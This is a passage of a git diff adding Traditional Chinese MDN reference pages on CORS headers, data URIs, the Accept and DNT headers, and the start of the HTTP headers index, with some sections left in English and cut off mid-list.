標頭表示伺服器允許瀏覽器存取回應標頭的白名單，如：</p> + +<pre class="brush: none">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header +</pre> + +<p>這允許了瀏覽器能夠存取回應當中的 <code>X-My-Custom-Header</code> 以及 <code>X-Another-Custom-Header</code> 標頭。</p> + +<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3> + +<p>{{HTTPHeader("Access-Control-Max-Age")}} 標頭表示了預檢請求的結果可以被快取多長的時間，請參考上面的範例。</p> + +<pre class="brush: none">Access-Control-Max-Age: <delta-seconds> +</pre> + +<p><code>delta-seconds</code> 參數代表預檢請求之結果可以被快取的秒數。</p> + +<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Credentials")}} 標頭表示了當請求的 <code>credentials</code> 旗標為真時，是否要回應該請求。當用在預檢請求的回應中，那就是指示後續的實際請求可否附帶身分驗證。請注意，由於簡單的 <code>GET</code> 請求沒有預檢，所以如果一個簡單請求帶有身分驗證，同時假設此標頭沒有與資源一併回傳，則回應會被瀏覽器所忽略並且不會回傳予呼叫的網站內容。</p> + +<pre class="brush: none">Access-Control-Allow-Credentials: true +</pre> + +<p><a class="internal" href="#Requests_with_credentials">驗證請求</a>在上面的討論當中。</p> + +<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Methods")}} 標頭表示存取資源所允許的方法，用來回應預檢請求。上面已討論請求之預檢的條件。</p> + +<pre class="brush: none">Access-Control-Allow-Methods: <method>[, <method>]* +</pre> + +<p>一個<a class="internal" href="#Preflighted_requests">預檢請求的範例已在上面提供</a>，其中包含了一個回傳此標頭予瀏覽器的例子。</p> + +<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Headers")}} 標頭用在回傳予預檢請求的回應當中，以指定哪些 HTTP 標頭可以於實際請求中使用。</p> + +<pre class="brush: none">Access-Control-Allow-Headers: <field-name>[, <field-name>]* +</pre> + +<h2 id="HTTP_請求標頭">HTTP 請求標頭</h2> + +<p>這個小節列出了當客戶端為了跨來源資源共用而傳送 HTTP 請求時可能會使用到的標頭。請注意這些標頭為對伺服器呼叫時手動設定，開發者使用跨站 {{domxref("XMLHttpRequest")}} 時則不須於程式中設定任何的跨來源資源共用請求標頭。</p> + +<h3 id="Origin">Origin</h3> + +<p>{{HTTPHeader("Origin")}} 標頭表示了跨站存取請求或預檢請求的來源。</p> + +<pre class="brush: none">Origin: <origin> +</pre> + +<p>其值為一個告訴目標伺服器之請求傳送來源的 URI。並不含有任何路徑資訊，僅有伺服器名稱。</p> + +<div class="note"><strong>備註：</strong><code>origin</code> 標頭可設定為空字串；這對不是真實位置的情況來說相當有用，例如來源為一個 <code>data</code> URL 時。</div> + +<p>請注意在任何存取控制請求中，{{HTTPHeader("Origin")}} 標頭<strong>永遠</strong>都要送出。</p> + +<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3> + +<p>{{HTTPHeader("Access-Control-Request-Method")}} 標頭用在發出的預檢請求中，告訴伺服器後續實際（actual）請求所用的 HTTP 方法。</p> + +<pre class="brush: none">Access-Control-Request-Method: <method> +</pre> + +<p>此標頭的相關範例可參考<a class="internal" href="#Preflighted_requests">上方說明</a>。</p> + +<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3> + +<p>{{HTTPHeader("Access-Control-Request-Headers")}} 標頭用在發出的預檢請求中，告訴伺服器端後續實際（actual）請求所帶的 HTTP 標頭。</p> + +<pre class="brush: none">Access-Control-Request-Headers: <field-name>[, <field-name>]* +</pre> + +<p>此標頭的相關範例可參考<a class="internal" href="#Preflighted_requests">上方說明</a>。</p> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h3 id="相容性備註">相容性備註</h3> + +<ul> + <li>IE8 和 IE9 支援 CORS 透過 XDomainRequest 物件，IE10 開始則完全正常支援。</li> + <li>Firefox 3.5 引進支援跨站 XMLHttpRequests 與 Web Fonts，較舊版本上某些請求會受到限制。Firefox 7 引進支援 WebGL 紋理的跨站 HTTP 請求，而 Firefox 9 新增支援使用 <code>drawImage</code> 方法將圖形繪製於 canvas 中。</li> +</ul> + +<h2 id="參見">參見</h2> + +<ul> + <li><a class="external" href="http://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li> + <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li> + <li><a class="internal" href="/zh-TW/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li> + <li><a class="external" href="http://www.w3.org/TR/cors/">Cross-Origin Resource Sharing specification</a></li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li><a href="/zh-TW/docs/Web/API/Fetch_API">Fetch API</a></li> + <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li> + <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a></li> +</ul> diff --git a/files/zh-tw/web/http/data_uris/index.html b/files/zh-tw/web/http/data_uris/index.html new file mode 100644 index 0000000000..a8332c7cf3 --- /dev/null +++ b/files/zh-tw/web/http/data_uris/index.html @@ -0,0 +1,128 @@ +--- +title: data URIs +slug: Web/HTTP/data_URIs +tags: + - Base64 + - Guide + - URI +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +<p><code>data</code> URIs, 由 <a class="external" href="http://tools.ietf.org/html/rfc2397" title="http://tools.ietf.org/html/rfc2397">RFC 2397</a> 文件定義, 允許作者在文件中嵌入檔案.</p> + +<h2 id="Syntax" name="Syntax">表達式</h2> + +<p>data URI 的表達式如下：</p> + +<pre class="eval notranslate">data:[<mediatype>][;base64],<data> +</pre> + +<p><code>mediatype</code> 為一 MIME type 字串，例如 JPEG 圖檔為「<code>image/jpeg</code>」，為非必要參數，若省略的話，默認值為「<code>text/plain;charset=US-ASCII</code>」。</p> + +<p>If the data is textual, you can simply embed the text (using the appropriate entities or escapes based on the enclosing document's type). Otherwise, you can specify <code>base64</code> to embed base64-encoded binary data.</p> + +<h3 id="範例">範例</h3> + +<dl> + <dt>data:,Hello%2C%20World!</dt> + <dd>一個簡單的 text/plain data</dd> + <dt>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</dt> + <dd>同前者，但經過 base64 編碼。</dd> + <dt>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</dt> + <dd>一 HTML 檔，內容為<code><h1>Hello, World</h1></code></dd> +</dl> + +<h2 id="Encoding_data_into_base64_format" name="Encoding_data_into_base64_format">以 base64 格式編碼資料</h2> + +<p>在 Linux 和 Mac OS X 中，可以在終端機輸入下面的程式碼來進行編碼：</p> + +<pre class="eval notranslate">uuencode -m <code>infile</code> <code>remotename</code> +</pre> + +<p>The <code>infile</code> parameter is the name of the file you wish to encode into base64 format, and <code>remotename</code> is the remote name for the file, which isn't actually used in <code>data</code> URLs.</p> + +<p>輸出結果如下所示：</p> + +<pre class="eval notranslate">begin-base64 664 test +YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK +==== +</pre> + +<p>The <code>data</code> URI will use the encoded data after the initial header line.</p> + +<h3 id="JavaScript">JavaScript</h3> + +<p>請先閱讀文章《 <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 encoding and decoding</a>. 》。</p> + +<h2 id="Converting_an_nsIFile_to_a_data_URI" name="Converting_an_nsIFile_to_a_data_URI">轉換 nsIFile 至data URI</h2> + +<p>This function returns a base 64-encoded data URI from the passed <a href="/en/XPCOM_Interface_Reference/nsIFile" title="en/nsIFile">nsIFile</a>.</p> + +<pre class="brush: js notranslate">function generateDataURI(file) { + var contentType = Components.classes["@mozilla.org/mime;1"] + .getService(Components.interfaces.nsIMIMEService) + .getTypeFromFile(file); + var inputStream = Components.classes["@mozilla.org/network/file-input-stream;1"] + .createInstance(Components.interfaces.nsIFileInputStream); + inputStream.init(file, 0x01, 0600, 0); + var stream = Components.classes["@mozilla.org/binaryinputstream;1"] + .createInstance(Components.interfaces.nsIBinaryInputStream); + stream.setInputStream(inputStream); + var encoded = btoa(stream.readBytes(stream.available())); + return "data:" + contentType + ";base64," + encoded; +} +</pre> + +<h2 id="安全">安全</h2> + +<div class="note"> +<p><strong>Note:</strong> Prior to {{Gecko("6.0")}}, <code>data</code> URIs inherited the security context of the page currently in the browser window if the user enters a <code>data</code> URI into the location bar. Now <code>data</code> URIs get a new, empty, security context.</p> +</div> + +<h2 id="Common_problems" name="Common_problems">常見的問題</h2> + +<p>以下列舉幾個再使用 <code>data</code> URIs 時常遇到的問題.</p> + +<dl> + <dt>表達式</dt> + <dd><code>data</code> URIs 的格式十分簡單, 但是我們容易忘記在 "data" 區塊前面使用逗號, 或是不正確的將資料轉換為 base64 的格式.</dd> + <dt>在HTML 的格式</dt> + <dd>A <code>data</code> URI provides a file within a file, which can potentially be very wide relative to the width of the enclosing document. As a URL, the <code>data</code> should be formatable with whitespace (linefeed, tab, or spaces), but there are practical issues that arise <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">when using base64 encoding</a>.</dd> + <dt>長度限制</dt> + <dd>Although Mozilla supports <code>data</code> URIs of essentially unlimited length, browsers are not required to support any particular maximum length of data. For example, the Opera 11 browser limits <code>data</code> URIs to around 65000 characters.</dd> + <dt>缺乏錯誤處理</dt> + <dd>Invalid parameters in media, or typos when specifying "base64", are ignored, but no error is provided.</dd> + <dt>未支援 query 字串, etc.</dt> + <dd> + <p>The data portion of a data URI is opaque, so an attempt to use a query string (page-specific parameters, with the syntax <code><em><url></em>?parameter-data</code>) with a data URI will just include the query string in the data the URI represents. For example:</p> + + <pre class="eval notranslate">data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val +</pre> + + <p>This represents an HTML resource whose contents are:</p> + + <pre class="eval notranslate">lots of text...<p><a name="bottom">bottom</a>?arg=val +</pre> + + <p>Note: as of Firefox 6, fragments (anchors) are processed consistent with other URI schemes, thus a bare "#" in the content needs to be escaped as '%23'.</p> + </dd> +</dl> + +<h2 id="Support_in_other_browsers" name="Support_in_other_browsers">瀏覽器的支援</h2> + +<p>The <code>data</code> scheme is supported by Opera 7.20 and above, as well as Safari and Konqueror. Internet Explorer 7 and below, however, do not currently support it. Internet Explorer 8 and above only supports <code>data</code> URIs for images in CSS, <link>, and <img>.</p> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li> + <li>{{domxref("WindowBase64.atob","atob()")}}</li> + <li>{{domxref("WindowBase64.btoa","btoa()")}}</li> + <li><a href="/en-US/docs/Web/CSS/uri" title="/en-US/docs/Web/CSS/uri">CSS <code>url()</code></a></li> + <li><a href="/en-US/docs/URI" title="/en-US/docs/URI">URI</a></li> +</ul> + +<h2 id="Resources" name="Resources">資源</h2> + +<ul> + <li><a class="external" href="http://tools.ietf.org/html/rfc2397" title="http://tools.ietf.org/html/rfc2397">RFC 2397</a> -- The "data" URL scheme"</li> +</ul> diff --git a/files/zh-tw/web/http/headers/accept/index.html b/files/zh-tw/web/http/headers/accept/index.html new file mode 100644 index 0000000000..e0544a0bc6 --- /dev/null +++ b/files/zh-tw/web/http/headers/accept/index.html @@ -0,0 +1,92 @@ +--- +title: Accept +slug: Web/HTTP/Headers/Accept +translation_of: Web/HTTP/Headers/Accept +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Accept</code></strong> HTTP 請求標頭（以 <a href="/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a> 標示）會對伺服器告知用戶端可解讀的內容類型。伺服器可以透過 <a href="/zh-TW/docs/Web/HTTP/Content_negotiation">content negotiation</a> 來選用可行的協定，並以 {{HTTPHeader("Content-Type")}} 標頭告知用戶端。針對本標頭，瀏覽器可以根據完成請求的脈絡，來決定適合的數值：像是擷取 CSS 時，給予的值就會和圖片、影像、腳本不一樣。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">標頭類型</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted request header")}}</th> + <td>yes, with the additional restriction that values can't contain a <em>CORS-unsafe request header byte</em>: <code>"():<>?@[\]{}</code>, Delete, Tab and control characters: 0x00 to 0x19.</td> + </tr> + </tbody> +</table> + +<h2 id="語法">語法</h2> + +<pre class="syntaxbox">Accept: <MIME_type>/<MIME_subtype> +Accept: <MIME_type>/* +Accept: */* + +// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code><MIME_type>/<MIME_subtype></code></dt> + <dd>一個精確的 <a href="/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>，例如<code>text/html</code>。</dd> + <dt><code><MIME_type>/*</code></dt> + <dd>一個不指定子類的 MIME type。<code>image/*</code> 會配對到 <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> 和等圖片類型。</dd> + <dt><code>*/*</code></dt> + <dd>所有 MIME type</dd> + <dt><code>;q=</code> (q-factor weighting)</dt> + <dd>Any value used is placed in an order of preference expressed using relative <a href="/en-US/docs/Glossary/Quality_values">quality value</a> called the <em>weight</em>.</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Accept: text/html + +Accept: image/* + +// General default +Accept: */* + +// Default for navigation requests +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 +</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Accept", "5.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>HTTP <a href="/zh-TW/docs/Web/HTTP/Content_negotiation">content negotiation</a></li> + <li>Header with the result of the content negotiation: {{HTTPHeader("Content-Type")}}</li> + <li>類似標頭：{{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> diff --git a/files/zh-tw/web/http/headers/dnt/index.html b/files/zh-tw/web/http/headers/dnt/index.html new file mode 100644 index 0000000000..81c152f6a5 --- /dev/null +++ b/files/zh-tw/web/http/headers/dnt/index.html @@ -0,0 +1,83 @@ +--- +title: DNT +slug: Web/HTTP/Headers/DNT +translation_of: Web/HTTP/Headers/DNT +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>DNT</code></strong>（<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack，<strong>請勿追蹤</strong>）請求標頭表明用戶針對追蹤程式的設定。它能讓用戶表達自己相較於個人化設定，更在乎個人隱私。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">標頭類型</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>是</td> + </tr> + </tbody> +</table> + +<h2 id="語法">語法</h2> + +<pre class="syntaxbox">DNT: 0 +DNT: 1 +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt>0</dt> + <dd>用戶允許目標網站追蹤之。</dd> + <dt>1</dt> + <dd>用戶不允許目標網站追蹤。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="請參考_JavaScript_的_Do_Not_Track">請參考 JavaScript 的 Do Not Track</h3> + +<p>用戶的 DNT 設定也能透過 JavaScript 的 {{domxref("Navigator.doNotTrack")}} 設定檢查：</p> + +<pre class="brush: js">navigator.doNotTrack; // "0" or "1"</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">狀態</th> + <th scope="col">註解</th> + </tr> + <tr> + <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td> + <td>{{Spec2("Tracking")}}</td> + <td>初始定義</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.DNT")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{domxref("Navigator.doNotTrack")}}</li> + <li>{{HTTPHeader("Tk")}} 標頭</li> + <li>維基百科的<a href="https://zh.wikipedia.org/zh-tw/%E8%AF%B7%E5%8B%BF%E8%BF%BD%E8%B8%AA">Do Not Track </a></li> + <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li> + <li><a href="http://donottrack.us/">donottrack.us</a></li> + <li>瀏覽器設定 DNT 的幫助： + <ul> + <li><a href="https://www.mozilla.org/zh-tw/firefox/dnt/">Firefox</a></li> + <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-tw/web/http/headers/index.html b/files/zh-tw/web/http/headers/index.html new file mode 100644 index 0000000000..f2206c0e39 --- /dev/null +++ b/files/zh-tw/web/http/headers/index.html @@ -0,0 +1,360 @@ +--- +title: HTTP headers +slug: Web/HTTP/Headers +tags: + - HTTP + - Headers + - NeedsTranslation + - Networking + - Reference + - TopicStub +translation_of: Web/HTTP/Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon '<code>:</code>', then by its value (without line breaks). Leading white space before the value is ignored.</p> + +<p>Custom proprietary headers can be added using the 'X-' prefix, but this convention was deprecated in June 2012, because of the inconveniences it caused when non-standard fields became standard in <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; others are listed in an <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</p> + +<p>Headers can be grouped according to their contexts:</p> + +<ul> + <li>{{Glossary("General header")}}: Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.</li> + <li>{{Glossary("Request header")}}: Headers containing more information about the resource to be fetched or about the client itself.</li> + <li>{{Glossary("Response header")}}: Headers with additional information about the response, like its location or about the server itself (name and version etc.).</li> + <li>{{Glossary("Entity header")}}: Headers containing more information about the body of the entity, like its content length or its MIME-type.</li> +</ul> + +<p>Headers can also be grouped according to how proxies handle them:</p> + +<dl> + <dt><a id="e2e" name="e2e"></a>End-to-end headers</dt> + <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd> + <dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt> + <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd> +</dl> + +<p>The following list summaries HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p> + +<h2 id="Authentication">Authentication</h2> + +<dl> + <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> + <dd>Defines the authentication method that should be used to gain access to a resource.</dd> + <dt>{{HTTPHeader("Authorization")}}</dt> + <dd>Contains the credentials to authenticate a user agent with a server.</dd> + <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> + <dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd> + <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> + <dd>Contains the credentials to authenticate a user agent with a proxy server.</dd> +</dl> + +<h2 id="Caching">Caching</h2> + +<dl> + <dt>{{HTTPHeader("Age")}}</dt> + <dd>The time in seconds the object has been in a proxy cache.</dd> + <dt>{{HTTPHeader("Cache-Control")}}</dt> + <dd>Specifies directives for caching mechanisms in both, requests and responses.</dd> + <dt>{{HTTPHeader("Expires")}}</dt> + <dd>The date/time after which the response is considered stale.</dd> + <dt>{{HTTPHeader("Pragma")}}</dt> + <dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd> + <dt>{{HTTPHeader("Warning")}}</dt> + <dd>A general warning field containing information about possible problems.</dd> +</dl> + +<h2 id="Client_hints">Client hints</h2> + +<dl> + <dt>{{HTTPHeader("Accept-CH")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Content-DPR")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("DPR")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Downlink")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Save-Data")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Viewport-Width")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Width")}}</dt> + <dd>...</dd> +</dl> + +<dl> + <dt> + <h2 id="Conditionals">Conditionals</h2> + </dt> + <dt>{{HTTPHeader("Last-Modified")}}</dt> + <dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd> + <dt>{{HTTPHeader("ETag")}}</dt> + <dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.</dd> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd> +</dl> + +<h2 id="Connection_management">Connection management</h2> + +<dl> + <dt>{{HTTPHeader("Connection")}}</dt> + <dd>Controls whether or not the network connection stays open after the current transaction finishes.</dd> + <dt>{{HTTPHeader("Keep-Alive")}}</dt> + <dd>Controls how long a persistent connection should stay open.</dd> +</dl> + +<h2 id="Content_negotiation">Content negotiation</h2> + +<dl> + <dt>{{HTTPHeader("Accept")}}</dt> + <dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd> + <dt>{{HTTPHeader("Accept-Charset")}}</dt> + <dd>Informs the server about which character set the client is able to understand.</dd> + <dt>{{HTTPHeader("Accept-Encoding")}}</dt> + <dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd> + <dt>{{HTTPHeader("Accept-Language")}}</dt> + <dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd> +</dl> + +<dl> +</dl> + +<h2 id="Controls">Controls</h2> + +<dl> + <dt>{{HTTPHeader("Expect")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Max-Forwards")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Cookies">Cookies</h2> + +<dl> + <dt>{{HTTPHeader("Cookie")}}</dt> + <dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd> + <dt>{{HTTPHeader("Set-Cookie")}}</dt> + <dd>Send cookies from the server to the user agent.</dd> + <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> + <dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd> + <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> + <dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd> + <dt> + <h2 id="CORS">CORS</h2> + </dt> + <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> + <dd>Indicates whether the response can be shared.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> + <dd>Indicates whether or not the response to the request can be exposed when the credentials flag is true.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> + <dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> + <dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd> + <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> + <dd>Indicates which headers can be exposed as part of the response by listing their names.</dd> + <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> + <dd>Indicates how long the results of a preflight request can be cached.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> + <dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> + <dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd> + <dt>{{HTTPHeader("Origin")}}</dt> + <dd>Indicates where a fetch originates from.</dd> +</dl> + +<h2 id="Do_Not_Track">Do Not Track</h2> + +<dl> + <dt>{{HTTPHeader("DNT")}}</dt> + <dd>Used for expressing the user's tracking preference.</dd> + <dt>{{HTTPHeader("Tk")}}</dt> + <dd>Indicates the tracking status that applied to the corresponding request.</dd> +</dl> + +<h2 id="Downloads">Downloads</h2> + +<dl> + <dt>{{HTTPHeader("Content-Disposition")}}</dt> + <dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd> +</dl> + +<h2 id="Message_body_information">Message body information</h2> + +<dl> + <dt>{{HTTPHeader("Content-Length")}}</dt> + <dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd> + <dt>{{HTTPHeader("Content-Type")}}</dt> + <dd>Indicates the media type of the resource.</dd> + <dt>{{HTTPHeader("Content-Encoding")}}</dt> + <dd>Used to specify the compression algorithm.</dd> + <dt>{{HTTPHeader("Content-Language")}}</dt> + <dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd> + <dt>{{HTTPHeader("Content-Location")}}</dt> + <dd>Indicates an alternate location for the returned data.</dd> + <dt> + <h2 id="Proxies">Proxies</h2> + </dt> +</dl> + +<dl> + <dt>{{HTTPHeader("Forwarded")}}</dt> + <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd> + <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> + <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> + <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> + <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd> + <dt>{{HTTPHeader("Via")}}</dt> + <dd>Added by 